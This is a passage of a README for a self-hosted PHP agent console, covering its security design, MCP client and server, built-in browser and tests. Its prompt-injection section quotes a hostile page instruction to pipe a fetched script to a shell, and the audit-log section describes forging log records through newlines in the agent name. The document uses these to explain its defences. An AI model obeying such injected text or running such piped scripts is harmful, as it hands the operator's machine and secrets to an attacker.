  • ๐Ÿงพ Every call is audited to storage/mcp.log (now JSON, so the graph can replay it).

๐Ÿงท 13. Prompt-injection posture

  • Abandon all trust, ye who fetch here. Anything an agent reads is treated as hostile input โ€” which is exactly why commands are allowlisted, executed without a shell, and every path is jailed. A web page that says "run curl evil.sh | sh" hits three walls before it does anything: the allowlist, the no-shell exec, and the deny list.
  • ๐Ÿ› ๏ธ Tool calls win the argument. The tool instructions state plainly that a tool call is the one exception to any "reply with only text / N words" rule, and the loop re-prompts once if a model merely narrates a tool call instead of sending it.
  • ๐Ÿšง Agents can call MCP servers โ€” never add one. Server connections are operator-only.

๐Ÿšซ 14. Everything dangerous defaults to OFF ๐Ÿข

Capability Default Guardrail
๐Ÿ”‘ Access token required 401 without it โ€” nothing runs first-run
๐Ÿš exec (shell) off allowlist + absolute deny + no shell
๐Ÿ run_code off per-interpreter level (Blocked / Scripts / Full)
๐ŸŒ Built-in browser off 403, http/https only, block list, SSRF guard
๐Ÿ” API pool on only engages for a provider that has pool keys โ€” with none, pickKey returns null and the single provider key is used exactly as before
๐Ÿ–ฅ๏ธ MCP server off per-friend scoped tokens, audit log
๐ŸŸข Auto-approve off every write still asks
๐Ÿ•ถ๏ธ Run while tab hidden off a background loop can't bill you silently
๐Ÿงฎ Resource Manager all off the graph renders exactly as before

๐Ÿงฏ 15. Fails closed, and tells the truth

  • ๐Ÿงฑ Fail closed โ€” when in doubt, refuse. A refused path reads as "outside the allowed directories", never a blank 500.
  • ๐Ÿงน Error hygiene โ€” failures come back as {"error": "..."} with HTTP 400 and a message meant for the model, and display_errors stays off so stack traces and filesystem paths never leak to a browser.
  • ๐Ÿ” Observability for you โ€” a live Run trace and an MCP audit log mean every model turn and tool call is inspectable after the fact.

๐Ÿ—„๏ธ 16. storage/ is never web-served โ€” in every serving mode

  • ๐Ÿ”‘ What it holds. The access token, every provider API key, the state bundle, every session transcript, and the exec allow/deny lists that decide which shell commands an agent may run. It is the most sensitive folder in the app, and the one-folder design puts it inside the web root โ€” so the refusal has to be part of the app, not a step you remember. ๐Ÿง 
  • ๐Ÿงญ Same policy everywhere. storage/ is not special-cased: storage, logs, tmp, sessions and tests are refused as path segments, in all four serving modes, and the dev tooling is treated exactly like the secrets.
What is requested ๐Ÿงช serve.php ๐ŸŸก Apache ๐Ÿ”ด nginx ๐Ÿ”ต IIS
storage/config.json, state.json, sessions 403 403 404 404
tests/php/โ€ฆ, tests/js/โ€ฆ 403 403 404 404
The bare folders (/storage, /tests/) โ€” no listing either 403 403 404 404
Any depth: <copy>/storage/config.json, <copy>/tests/โ€ฆ 403 403 404 404
โ€ฆ/STORAGE/state.json (case variant) 403 403 404 404
Dotfiles at any depth (.git/โ€ฆ, .htaccess, .env, .htpasswd) 403 403 404 deny ยน
Loose .json .log .ini .bak .key .pem outside storage/ served ยฒ served ยฒ 404 served ยฒ
/api, /api/sessions, /api/config served served served served
ui/js/tests.js, ui/js/storage.js, /testsuite/ served served served served

ยน IIS has no .htaccess equivalent: its refusal comes from web.config, the way nginx's comes from nginx.example.conf. Apache's own .ht* default is not a substitute โ€” it covers .htaccess and .htpasswd and serves .git/config quite happily โ€” which is why the root .htaccess carries the same dot rule as the other two modes. ยฒ These only exist if something wrote them there โ€” storage/ never is.

  • ๐Ÿช† Why โ€œany depthโ€ matters. A second copy of the app โ€” a backup, an archive of an older version, a folder kept for comparison โ€” brings its own storage/ with the same token and keys in it, and its tests/ may predate tests/.htaccess. A root-only check served all of that. The guard is therefore a segment rule, not a prefix rule: anything named storage anywhere in the path is refused, which is why https://host/router/old-copy/storage/config.json answers 403 instead of a token.
  • ๐Ÿ—‚๏ธ The checkout sits in the web root, so .git/ is part of the surface. This folder is the repository and the thing being served, which puts .git/ behind the same door as everything else: .git/config can carry a remote URL with a token in it, and .git/objects reconstructs every file ever committed โ€” including one removed later for holding a secret. serve.php and nginx.example.conf always refused dotfiles; Apache did not, and served .git/config with the real [core] section as a 200. The root .htaccess now refuses any path segment starting with a dot, at any depth, with /.well-known as the single exception so ACME renewal still works โ€” and apacheGuards.test.php requests .git/config, .git/HEAD, .git/objects/pack/ and a nested .git so it cannot quietly reopen.
  • ๐Ÿง  Why Apache needs RedirectMatch, not just a RewriteRule. In per-directory context a child .htaccess replaces its parent's rewrite rules unless it opts into RewriteOptions Inherit โ€” and every copy of this app ships its own root .htaccess, so a rewrite in the outer app never sees <copy>/tests/โ€ฆ. mod_alias configuration is merged down the tree, so the shipped RedirectMatch 403 holds no matter what a nested folder declares. (Found with an Apache rewrite:trace3 log: once the request maps into the copy, the parent's rules are skipped entirely.)
  • ๐Ÿšซ API routes are exempt โ€” deliberately. They are endpoints, not files. The sidebar asks for /api/sessions to list sessions; a rule that matched the word refused that call and broke the UI. No API route maps onto a path on disk โ€” the handlers open storage/ themselves, server-side.
  • ๐ŸŽฏ Segment-anchored, not substring. ui/js/tests.js, ui/js/storage.js and /testsuite/ are still served: only a folder actually named tests is refused.
  • ๐Ÿ”  Case-insensitive on purpose. Windows and macOS disks resolve /STORAGE/state.json to the real file, so a case-sensitive check was not a check at all โ€” serve.php lower-cases every segment, Apache uses NC / (?i), and nginx uses ~*.
  • ๐Ÿงพ No source either. serve.php refuses any .php request except the API front controller, so a mistyped path can't print PHP source as text; nginx is told to deny dotfiles and loose data files (.json, .log, .ini, .bak, .key, .pem) even outside storage/.
  • ๐ŸŸก Apache files that ship and self-repair. storage/.htaccess refuses its whole folder with Require all denied (plus an Apache 2.2 Order/Deny fallback, so an old host gets a clean 403 rather than a 500), tests/.htaccess does the same for the dev tooling, and ./setup-token.sh re-creates the storage one if a deploy lost it.
  • ๐Ÿšจ Verify, don't trust. After deploying, ask for both โ€” in a private window:
    curl -s -o /dev/null -w '%{http_code}\n' https://your-host/router/storage/config.json   # want 403 / 404
    curl -s -o /dev/null -w '%{http_code}\n' https://your-host/router/tests/js/run.mjs       # want 403 / 404
    curl -s -o /dev/null -w '%{http_code}\n' https://your-host/router/api/sessions           # want 401, never 403
    JSON or source in the first two means the folder is exposed โ€” stop and fix the rule before anything else. ๐Ÿ›‘
  • ๐Ÿฐ The strongest option: keep storage/ outside the document root. If the one-folder design forces it inside, the deny rules above are mandatory, not optional.

๐Ÿงช 17. The guards are proven, not assumed

A guard nobody requests is a guard you don't have, so each serving mode has a test that makes the real request and fails loudly when a path comes back:

Test What it actually does
๐Ÿงช guards.test.php Boots serve.php on a loopback port and requests the live paths โ€” files, bare folders, case variants, dotfiles, the /api/* exemption and lookalike names
๐ŸŸก apacheGuards.test.php Boots the local Apache with this folder as DocumentRoot and AllowOverride All, so the shipped .htaccess files themselves are what answer โ€” /tests, /storage, the archived copy, and the dotfile rule over .git/config, .git/HEAD, .git/objects/ and a nested .git
๐Ÿ”ด nginxGuards.test.php Lifts the location regexes out of nginx.example.conf and runs them through PCRE โ€” the engine nginx matches with โ€” so a rule that reopens a hole fails without nginx installed
๐Ÿช† nested-copy checks guards.test.php requests nested paths directly; apacheGuards.test.php does the same against the archived copy when one is present โ€” the case a root-anchored rule misses

Run them with the rest of the suite (Tests, below). ๐ŸŒฑ

๐ŸŒ 18. Closed by default in the browser, too

  • ๐Ÿšซ No CORS wildcard โ€” deliberately. The API used to answer with Access-Control-Allow-Origin: *, which let any website on the internet fetch() this server and read the answers: every conversation, the memory and the whole config. The UI is served from this same origin and never needed it. Cross-origin is now refused unless the origin is explicitly listed in ROUTER_CORS_ORIGINS (comma-separated), and Vary: Origin keeps caches honest.
  • ๐Ÿ›ก๏ธ Security headers on every Apache response โ€” X-Content-Type-Options: nosniff (a .js canโ€™t be talked into being a script of another type), X-Frame-Options: DENY (the console canโ€™t be framed inside another site, so no clickjacking a SAVE button) and X-XSS-Protection: 1; mode=block. The built-in server adds nosniff to everything it serves, SPA fallback included.
  • ๐ŸงŠ Cache policy is part of the contract โ€” HTML is no-store; JS and CSS are no-cache, must-revalidate, so a browser can never pair a new module with a month-old one (which is how an old api.js once ran beside a new tools.js). The UI you audited is the UI that loads. โœ…
  • ๐Ÿ”‘ The token never rides along โ€” it is stripped from every state bundle before that bundle is mirrored to the server or synced to another device (ยง1).
  • ๐Ÿ™ˆ What a read hands back is masked, and a copy with no token answers this machine only. Both are measures in their own right, with their own accounts below: ยง20 ๐Ÿ” masked reads and ยง21 ๐Ÿ  local-only.

โš–๏ธ The honest caveat: the app is only as safe as the operator's switches. Turn everything on, auto-approve writes, and point the root at / โ€” and you have built yourself a very capable foot-gun. The design makes the safe choice the default and makes the unsafe choice deliberate, but it does not (and cannot) read your mind. Keep the root narrow, keep approvals on, and rotate your keys. ๐Ÿ’™

๐Ÿ–ฅ๏ธ 19. Opening programs โ€” a name, never a command line

An agent can open a real desktop program on the machine this app runs on (Config โ†’ Shell access โ†’ Programs). It could not do this usefully before: through exec a window was force-closed at the command timeout while the whole turn waited on it.

  • ๐Ÿท๏ธ The operator's list is the whole allowlist. An agent may only name a program from sandbox.programs; the path and the arguments come from that config. No string a model writes ever reaches the OS launcher, so its quoting, &, ; and % have nowhere to land โ€” the same reason exec takes argv instead of a command line.
  • ๐ŸชŸ Detached, so the window outlives the reply โ€” cmd /c start on Windows (the mechanism the built-in browser already opens Chrome/Edge with), a backgrounded process on POSIX. There is no timeout here to close what you asked to open.
  • ๐Ÿงพ Audited as a start with no end. A launch writes one kind=program phase=start line and no end line, which is what Config โ†’ TRACE โ†’ EXEC reads back as started, never finished โ€” the case that format exists for.
  • ๐Ÿšซ .bat, .cmd and .ps1 are refused as launch targets, because starting one means handing back the command shell or script host this whole design keeps away from a model. That refusal is by extension and is deliberately not overridable from the list; exec_interpreters is the door for script files, where the script is jailed to the allowed directories and inline code is still refused.
  • ๐Ÿ™‹ Approval is the approval you already have โ€” Ask / Allow / Deny for Opening programs and Closing programs, plus Auto Approve, Auto Deny and the usual prompt.
  • ๐ŸŽฏ A close finds the binary, never the name. Processes are matched by the file they are running from (/proc/<pid>/exe on Linux, one Get-CimInstance Win32_Process query on Windows, ps elsewhere) and compared as resolved paths. The older tasklist image-name filter made any other copy of that file on the machine into "the same program", so a close could end something you never opened โ€” a vendor's helper.exe, a second editor. If a host will not give up a process list, close refuses rather than falling back to the name.
  • ๐Ÿšช Closing is graceful first (taskkill /PID posts WM_CLOSE; POSIX sends TERM), so a program can still ask about unsaved work; force ends the process outright. The reply names the pids it ended, and every one that refused with the reason (access denied, already exited) โ€” ok means the program is gone, not that a signal was sent. A console program with no window has nothing to receive a close request, so it needs force.
  • ๐Ÿงพ The trace is written by this app alone โ€” every field is stripped of control characters before it reaches storage/exec.log, so an argument carrying a newline cannot append a record of a command that never ran. Full account in ยง22.
  • โš ๏ธ Where the window appears matters. A program opens in the session Apache runs in: started as a console process (start.bat) it appears on your desktop, but installed as a Windows service it lands in session 0 and nothing is ever visible. On POSIX it needs a desktop session โ€” a headless host has nowhere to draw. The card states which of these is true on this host, so nobody guesses.
  • ๐Ÿ”’ Off by default (sandbox.programs_enabled, empty list): updating an older install gains the tools and no capability at all until you add a program.

๐Ÿ” 20. Secrets โ€” masked going out, restored coming back

Three routes were handing back the very values they exist to protect. ๐Ÿšจ It is worth being precise about why that is worse than it sounds, because it is not "a leak of one secret" โ€” it is the same secret that guards the other doors.

  • ๐ŸŽฏ What came back, verbatim โ€” GET /api/config returned the access token, a proxy URL with its password in it, and every provider API key; GET /api/mcp/servers returned each MCP client's headers (the Authorization: Bearer โ€ฆ, and any other key header); GET /api/mcp-server/config returned every friend's token. The access token is what the front gate compares against, and a friend token is what McpServer::authenticate() compares against โ€” so one read disclosed the keys to every gated route. ๐Ÿ—๏ธโžก๏ธ๐Ÿšช
  • ๐Ÿ™ˆ What comes back now: ********. A single constant (Config::SECRET_MASK) and two functions โ€” Config::maskSecrets() on the way out, Config::restoreSecrets() on the way in โ€” so the mask is spelled once and cannot drift between routes. Masked: the access token, sandbox.proxy_active when it carries credentials, every value in an MCP client's headers, the MCP server's tokens, and its protected-paths entries that hold secrets. โœ‚๏ธ
  • ๐Ÿ•ณ๏ธ Empty stays empty โ€” the difference matters. "No token configured" and "a token you are not allowed to see" are two different states, and the UI has to tell them apart: a fresh install must show an empty field (and the run setup-token.sh hint), not eight asterisks. So masking is applied only to values that are actually set. ๐Ÿซฅ A proxy with no username and password is not a secret either โ€” it is a setting, and the panel still names the exit node you are routing through. ๐ŸŒ
  • โ™ป๏ธ Why masking cannot simply mean "never send it": every panel in this app edits by read โ†’ change one key โ†’ post the whole config back. Hand a page a config with a blanked token and the very next toggle writes the blank back to disk โ€” a wiped credential that shows up later as a server answering 401, with nothing in the logs to say why. So the read masks and the write restores. ๐Ÿ”
  • ๐Ÿงฌ Restore matches by identity, not by position. An array index is not a name: reordering two MCP servers, or deleting one and adding another, would have put a stranger's header onto the wrong server (a live credential pointed at an endpoint you never configured). Matching is therefore: a server by its id, then by its URL, then by its command line; a friend token by its id, then by its label. Rename a server in the panel and its Authorization header still comes back โ€” that is a test, not a hope. ๐Ÿชช
  • ๐Ÿšฎ A mask with nothing behind it is dropped, and said so. Add a brand-new server, leave the header box showing ********, and there is no stored value to put back โ€” so the header is not written at all rather than being saved as the literal asterisks, which would have been a credential that authenticates as nothing and looks like the far end's fault. The count is reported back on the save. ๐Ÿงพ
  • โœ๏ธ A real value typed over the mask wins. Paste a new key into that box and it is stored as typed โ€” masking only ever stands in for "unchanged". ๐Ÿ”‘
  • ๐Ÿ‘๏ธ A friend's token is visible exactly once โ€” when it is created, or when ROTATE is pressed: the server keeps it, and a later read answers the mask. The COPY button refuses to hand over a mask for the same reason the drop above exists: pasting ******** into a client authenticates as a wrong token, and the failure reads as the server's problem rather than as a copy that copied nothing. ๐Ÿ“‹๐Ÿšซ
  • ๐Ÿงช Proven, not assumed โ€” tests/php/secrets.test.php asserts the mask on every field, that empty stays empty, that a credential-free proxy stays readable, a clean round-trip restores every secret, a renamed server keeps its header (URL match), an unresolvable mask is dropped and counted, and a typed value beats the mask. โœ…

๐Ÿ  21. No token set โ€” this machine only

./setup-token.sh --off prints that it is fine on "a machine nothing else can reach" โ€” and until v360 nothing enforced it. On a copy behind a web server bound to all interfaces, that was not a theoretical gap: POST /api/sandbox/program is a program launcher an agent can reach, POST /api/sandbox/exec runs commands, and GET /api/config โ€” the route from ยง20 โ€” answered with the very token that guards the routes which were protected. ๐Ÿšช๐Ÿ”“

  • ๐Ÿงญ Now the documented posture is the enforced posture. With require_token off, a request whose peer address is not loopback gets 403 {"error":"local requests only"}, plus the one-liner that fixes it: ./setup-token.sh (or start.bat -Token on Windows), then paste the token into Config โ†’ Access token on each device โ€” after which the copy is reachable from anywhere again, which is what a token is for. ๐Ÿ”‘
  • ๐Ÿ” Three spellings of "this machine" count as local: 127.0.0.1, ::1, and the IPv4-mapped ::ffff:127.0.0.1 that some Windows stacks report. All three are asserted in the suite, along with a LAN address, another private address and a public one โ€” none of which are local. ๐Ÿงช
  • ๐Ÿ•ณ๏ธ No peer address at all passes (the CLI, and PHP's built-in server before it has bound). There is no network path there to refuse โ€” and refusing it would only break the tooling that runs on the same machine. ๐Ÿ–ฅ๏ธ
  • ๐ŸŽญ The Host header is deliberately not consulted. It is client-supplied, so a rule like "the Host matched the peer address" would let anyone in by naming their own address in the request. The decision is made on the socket, not on anything the caller wrote. ๐Ÿšซ
  • ๐Ÿค The MCP RPC route is exempt, on purpose. POST /api/mcp-server exists for other machines and keeps its own per-friend Bearer token with a read / write / exec scope ceiling, an optional IP allowlist and one-click revoke (ยง12). It is the one door this rule must leave open โ€” and it is a door, not a hole: the caller is authenticated before anything runs. ๐Ÿ”
  • โš–๏ธ The honest edge: a request arriving through a reverse proxy on the same host has the proxy as its peer, so it looks local and passes. That is the operator's own configuration rather than a stranger's path (ยง4, the jail), and the answer is the same as everywhere else in this app: set a token and the question stops mattering. ๐Ÿงฑ

๐Ÿงพ 22. The trace is written by this app alone

storage/exec.log is the audit trail โ€” the two-phase run=โ€ฆ phase=start|end record that Config โ†’ TRACE โ†’ EXEC reads back, that pairs a command's start with its end, and that shows an opened window as started and still running. ๐Ÿงพ Its authority depends on one property: one line per record. ๐Ÿ“

  • ๐Ÿชค So a newline is a forgery. Free text reaches these fields โ€” the agent name arrives in the tool call, and every argv element is whatever a model sent. A \n in either one would let a prompt-injected agent append a hand-written line describing a command that never ran (or, worse, make a real one look like part of a different record) โ€” the audit trail quietly rewritten by the thing it is auditing. ๐ŸŽญ
  • ๐Ÿ›ก๏ธ Stripped at the one chokepoint, not at the callers. Sanitising lives inside Sandbox::audit(), which exec, run_code, window_open and window_close all pass through โ€” so a future caller cannot forget it, and it runs before the shell-quoting decision below, so a quote-escaped argument cannot carry a line break through the escaping. ๐Ÿšง
  • ๐Ÿงฌ Two shapes, because the line carries two kinds of field. The fields the reader takes as a single token (run, phase, kind, agent) lose everything from the first break onward and any character outside [\w.:@-] โ€” a space there would split the field and make the whole line unparseable, which would lose a real record while stopping a forged one. Free text (cwd, the program, the argv) turns breaks into a space and is capped (240 characters per field, 12 argv elements), so one enormous argument cannot bloat the log either. โœ‚๏ธ An empty token becomes -, because an empty field breaks the reader's pattern. ๐Ÿฉน
  • ๐Ÿ‘€ The reader still shows the interesting failure. Start and end lines are paired by their run id, and a start with no end comes back as finished: false โ€” started, never finished is exactly the row you want to see after a crash or a kill mid-command, so it is surfaced rather than hidden. ๐Ÿ”
  • ๐Ÿงช Proven โ€” tests/php/programs.test.php ยง5d writes an audit entry whose agent name contains a newline and a complete fake record (run=forged-inject phase=start โ€ฆ), then asserts the real run is still recorded in one piece and that the forged run id never becomes an entry of its own. โœ…

๐Ÿงพ 23. The test suite cannot touch the trace โ€” or another file's server

tests/ is dev tooling the app never loads, and it now runs four files at a time. That is only safe because the two things those files used to share were taken away first โ€” and both of them were state this app's own security rests on. ๐Ÿงช

  • ๐Ÿงพ The audit trail is not a scratch file. storage/exec.log is the two-phase record covered in ยง22: the answer to "did anything actually run?". Two test files wrote it, and each remembered its size on entry and truncated it back on the way out โ€” tidy when you are the only writer, and a deletion of another file's lines the moment you are not, which is exactly what running them at the same time makes them. A test run could be mistaken for real commands, and a real command's record could vanish under one. The trace a test writes now goes to a directory of that file's own: Sandbox::logDir() honours ROUTER_LOG_DIR, the runner sets it per file, and storage/mcp.log (ยง12) goes the same way. Running the whole suite leaves the operator's exec.log and mcp.log byte-identical โ€” measured, not hoped. ๐Ÿ›ก๏ธ
  • ๐Ÿ”’ The redirect cannot be reached from outside. ROUTER_LOG_DIR is read from the process environment. There is no route, header, query string or config field that sets it, so no request and no model can move, hide or read a log by asking for it, and unset โ€” the normal state โ€” keeps storage/ exactly as it was. Its only reachable effect is to add a directory that a test writes to. ๐Ÿšซ
  • ๐ŸŒ Loopback only, and a port of its own. Every server the suite starts binds 127.0.0.1 and never 0.0.0.0 โ€” the generated Apache config is literally Listen 127.0.0.1:<port> โ€” and the port is now a walk from 21000 + pid % 4000, which stays below the OS's ephemeral range. The old way asked the OS for "any free port" (tcp://127.0.0.1:0), which is a race the moment two files ask at the same moment: the number returns to the pool as the socket closes, so both can be handed the same one and one file ends up talking to the other file's server โ€” assertions answered by a server it never started. A port a real service is using is no longer a candidate either, which matters because a bind failure there looks exactly like a broken build. ๐Ÿงญ
  • ๐Ÿ™‹ Separate processes, for the same reason as ever. The suite separates its files so one cannot colour another's result (ยง17). A file that can reach into another file's socket or log can report green for something it never checked, so "each file is its own process" has to stay true down to the port it binds and the file it writes. โœ…
  • ๐Ÿงช Proven โ€” six consecutive four-wide runs plus --jobs 8 and --jobs 2, all green with identical counts; sampling netstat during a run caught seven simultaneous listeners, all inside the pid-derived band and none of them repeated; run by itself with ROUTER_LOG_DIR set, sandbox.test.php writes its 9 audit lines into that directory while the install's exec.log is unchanged; and a full fresh-copy check โ€” 14 files, 14 passed, 0 failed, 840 assertions, 5 skipped โ€” costs 16.8โ€“17.5s where it cost 41.0s. ๐Ÿ”ฌ

๐Ÿงท One rule underneath all of this: nothing that a model can write ever becomes a decision the app obeys. A name, not a path; argv, not a command line; a mask, not a credential; the peer address, not the Host header; one token, not two records. That is the whole design, repeated in five different places. ๐Ÿ’™


๐Ÿ”Œ MCP โ€” connect out to other servers (client)

Config โ†’ MCP Client. Add any MCP server (stdio command + args, or an HTTP URL with headers). Its tools become available to your agents through mcp_list / mcp_call. Servers are operator-configured โ€” a model can call them, never add one.

// storage/config.json
"mcp": { "servers": [
  { "id": "files", "transport": "stdio",
    "command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "/srv"],
    "env": { "GITHUB_TOKEN": "โ€ฆ" } },
  { "id": "internal", "transport": "http", "url": "https://mcp.example.com",
    "headers": { "Authorization": "Bearer โ€ฆ" } }
]}

On Windows, stdio servers inherit the process environment (including PATH, ComSpec, APPDATA, TEMP and the usual Node install directories), so npx/node work without a manual PATH. env overrides individual keys. HTTP servers that require a session get initialize + Mcp-Session-Id automatically when the first call says it needs one; stateless servers still use a single POST.


๐Ÿ–ฅ๏ธ MCP โ€” let others connect in (server)

MCP

The mirror of the client: an operator can expose this install as a remote MCP server, so another person's MCP client โ€” their own local model, Claude Desktop, Cursor โ€” can call tools that run on the operator's machine.

๐Ÿ”ง Enable it (operator)

Config โ†’ MCP Server

  1. Turn Enable the MCP server on.
  2. Set a scratch folder โ€” friends' file and command tools are jailed there, and a deny-all .htaccess is dropped in so nothing they write is web-served.
  3. Optionally edit the protected paths list.
  4. Add a token per friend, each with a scope: read / write / exec (and an optional IP allowlist). Tokens never expire; revoke one with a click. A token is shown once โ€” when it is created, or when you press ROTATE โ€” because the server keeps it and does not hand it back. Copy it then; if it is lost, ROTATE rather than guessing, and the old token stops working when you save.

The endpoint is POST /api/mcp-server (JSON-RPC 2.0), authenticated with Authorization: Bearer <token>.

๐ŸŽš๏ธ What a token decides

  • read โ†’ read_file, list_dir, glob_files, grep_code, stat, fetch_url, web_search, git_read
  • write โ†’ write_file, edit_file, insert, apply_patch, multi_edit
  • exec โ†’ exec, run_code, git_commit

Scope is a ceiling, not a bypass: a call still runs through the same sandbox, allow/deny lists, interpreter levels and approvals. An un-allowed command queues in the operator's Pending-approvals list and the friend's call returns "waiting for the operator". Every call is written to storage/mcp.log.

๐Ÿ‘‹ How a friend connects

  1. Client supports remote MCP (HTTP) โ€” add a remote server at the URL with one header: Authorization: Bearer <token>.
  2. Client is stdio-only (e.g. Claude Desktop) โ€” bridge it with mcp-remote:
    npx -y mcp-remote https://YOUR-HOST/path/api/mcp-server \
      --header "Authorization: Bearer <token>"
  3. The friend runs their own copy of Loop Studio โ€” Config โ†’ MCP Client โ†’ + ADD SERVER (name, transport http, url, and a headers box with Authorization: Bearer <token>). Their agents then reach the operator's tools through mcp_list / mcp_call.

The operator hands over the URL + that friend's token; FRIENDS.md is the one-page version to send along.


๐ŸŒ Built-in browser โ€” you watch, the agents drive

The built-in browser: live page, address bar, click-through and the drive-it rail

A real Chrome or Edge, right inside the console โ€” ๐Ÿšซ no packages, ๐Ÿšซ no extensions, just the DevTools Protocol. ๐Ÿ–ฅ๏ธ Open it from the Browser item in the apps notch and you get the live page, an address bar, Go / Reload, a Live auto-refresh, a headless โ‡„ window toggle, and a click-through view: tap the page and it clicks. โœจ

  • ๐Ÿ–ฑ๏ธ Click, type, read โ€” click anywhere on the screenshot, type into the field you need, press Enter, and pull the page's visible text.
  • ๐Ÿค– Agents use the same page โ€” browser_open / browser_click / browser_type / browser_read / browser_wait drive it too, so a model can genuinely operate a web app.
  • ๐Ÿ” Logins stick โ€” the profile is persistent: log in once (headless, or in a window you can take over ๐Ÿซณ) and both you and the agents reuse the session.
  • ๐Ÿ›ก๏ธ Off by default and gated โ€” Config โ†’ Labs โ†’ Browser switches it on; http/https only, cloud-metadata addresses refused, and every route is token-gated.
  • ๐Ÿšซ A domain / URL / IP block list โ€” a right-rail box on the Browser screen. One pattern per line, * wildcard: *.gov, *word*, a bare host/IP (10.0.0.1), or a URL path (site.com/a/b/). Enforced server-side on every navigation โ€” yours and the agents' โ€” and re-checked after a click or type in case a link reaches a banned host.
  • ๐Ÿ• One browser, reaped โ€” launching (or stopping) reaps any stray headless Chrome/Edge still holding the profile dir, so orphan instances never pile up and chew CPU/GPU.
  • โšก No multi-second stalls โ€” DevTools HTTP is read by exact Content-Length over a raw socket, navigation returns the moment the page is interactive, and every action is single-flight so a slow page can't stampede the connection pool.

๐Ÿ“ฑ Android & mobile

The UI is mobile-first โ€” touch controls, a responsive layout, an icon rail on phones, and it works in the phone's browser right next to wireless-debugging tooling.

โš ๏ธ Correction: an earlier note claimed there would be no Android app because "you can't put a PHP server into an Android app." That is false. An Android build is a packaging exercise, not an impossibility:

  • ๐Ÿงฉ Thin WebView shell โ€” package a tiny app whose WebView points at the hosted instance. The whole UI already runs in a mobile browser.
  • ๐Ÿ“ฆ PHP on-device โ€” PHP runs on Android via Termux (pkg install php, then php -S 127.0.0.1:8080 serve.php), KSWEB, or AndroPHP, so a fully local, offline build is possible too.
  • ๐Ÿ  Installable PWA โ€” add the web UI to the home screen as a progressive web app.

So: ๐Ÿ“ฑ an Android version is on the table. The old "impossible" line is struck.


๐Ÿงฉ Architecture

/router/
โ”œโ”€โ”€ index.html            # SPA entry (canonical)
โ”œโ”€โ”€ api/
โ”‚   โ”œโ”€โ”€ index.php         # REST front controller (all routes)
โ”‚   โ””โ”€โ”€ lab.inc.php       # API Lab request runner
โ”œโ”€โ”€ src/                  # PHP backend
โ”‚   โ”œโ”€โ”€ Config.php        # settings + models
โ”‚   โ”œโ”€โ”€ ModelManager.php  # relays + streaming
โ”‚   โ”œโ”€โ”€ Harness.php       # provider / tool-dialect registry
โ”‚   โ”œโ”€โ”€ Sandbox.php       # jail, files, exec, git, code, http
โ”‚   โ”œโ”€โ”€ Cdp.php           # hand-rolled WebSocket + DevTools Protocol client
โ”‚   โ”œโ”€โ”€ Browser.php       # detect / launch / drive Chrome or Edge
โ”‚   โ”œโ”€โ”€ Mcp.php           # MCP client
โ”‚   โ”œโ”€โ”€ McpServer.php     # MCP server
โ”‚   โ”œโ”€โ”€ SessionManager.php
โ”‚   โ”œโ”€โ”€ TopologyGraph.php
โ”‚   โ””โ”€โ”€ Audio.php
โ”œโ”€โ”€ ui/
โ”‚   โ”œโ”€โ”€ js/               # app modules: store ยท api ยท stateSync ยท tools ยท
โ”‚   โ”‚                     #   toolManifest ยท toolProtocol ยท harness ยท nativeTools ยท
โ”‚   โ”‚                     #   apiPool ยท trace ยท perf ยท brainlab ยท alwaysOn ยท memory ยท
โ”‚   โ”‚                     #   desktop2026 (the glass shell) ยท ifaceMode ยท drawerState
โ”‚   โ”‚   โ””โ”€โ”€ components/   # chat ยท sidebar ยท routingChart ยท browserView ยท topology3d/โ€ฆ
โ”‚   โ””โ”€โ”€ css/              # base ยท layout ยท chat ยท components ยท topology ยท desktop2026
โ”œโ”€โ”€ tools/
โ”‚   โ”œโ”€โ”€ gen-harness.php   # generates ui/js/harness.data.js
โ”‚   โ””โ”€โ”€ cacert.pem
โ”œโ”€โ”€ tests/
โ”‚   โ”œโ”€โ”€ run.mjs           # the whole suite: PHP, then JS
โ”‚   โ”œโ”€โ”€ php/              # sandbox ยท harness ยท mcp ยท mcpServer ยท mcpStdio ยท
โ”‚                         #   guards ยท apacheGuards ยท nginxGuards  (run.php)
โ”‚   โ””โ”€โ”€ js/               # agentSearch ยท context ยท curl ยท drawerState ยท
โ”‚                         #   harness ยท ifaceMode ยท latency ยท nativeTools ยท
โ”‚                         #   stripToolCall                       (run.mjs)
โ”œโ”€โ”€ screenshots/
โ”œโ”€โ”€ storage/              # JSON data (config, state, sessions) โ€” git-ignored
โ”œโ”€โ”€ serve.php             # php -S router (no Apache needed)
โ”œโ”€โ”€ start.bat / start.sh  # launchers
โ”œโ”€โ”€ setup-xampp.bat/.ps1  # one-click Apache + PHP (Windows)
โ”œโ”€โ”€ setup-token.sh        # create / rotate the access token (+ storage guard)
โ”œโ”€โ”€ nginx.example.conf    # deny storage/ + tests/ on nginx (copy into server{})
โ”œโ”€โ”€ FRIENDS.md            # hand this to a friend to connect over MCP
โ”œโ”€โ”€ CHANGELOG.md
โ””โ”€โ”€ README.md


๐Ÿงช Tests

๐Ÿงฐ Optional dev tooling. Nothing in tests/ is loaded by the app or imported by the UI โ€” the folder exists only to be run from a terminal, and deleting it changes nothing about how the app behaves. The app itself stays plain PHP with no build or dependency step: drag the folder onto a host and it runs. Node is needed only if you choose to run the JavaScript tests; php tests/php/run.php needs nothing beyond the php you already have. No package.json, no node_modules, nothing to install.

๐Ÿ”’ tests/ is not needed at runtime, and every serving mode refuses it, the same way it refuses storage/: serve.php answers 403 for anything under /tests (and for a storage, logs, tmp, sessions or tests folder at any depth, so a copy of the app kept inside the web root cannot expose its own config.json), tests/.htaccess (which ships) plus the root .htaccess's any-depth RedirectMatch deny it on Apache, and nginx.example.conf covers it for nginx in every folder, not just the root. API routes are exempt in all three โ€” /api/sessions is the session list, not the storage/sessions folder, and no API route maps onto a path from disk. Leaving tests/ out of a deploy is still the tidiest option โ€” it holds no config, keys or tokens either way.

One command runs the whole suite:

node tests/run.mjs      # PHP first, then JS

Either half runs on its own, which is what you want while working on one of them:

Command What it runs
๐Ÿงช node tests/run.mjs Both suites, PHP then JS
๐Ÿ˜ php tests/php/run.php PHP only โ€” sandbox, desktop programs (programs.test.php: the operator's list as the whole allowlist, the detached launch, binary-path matching, real kill verdicts and the un-forgeable trace), masked secrets (secrets.test.php: masks going out, restores coming back, and who may ask when there is no token), the token recovery script (setupToken.test.php), harness, MCP client/server, HTTP guards (serve.php, Apache .htaccess, and the nginx rules via PCRE), and the CSS/JS layer audit
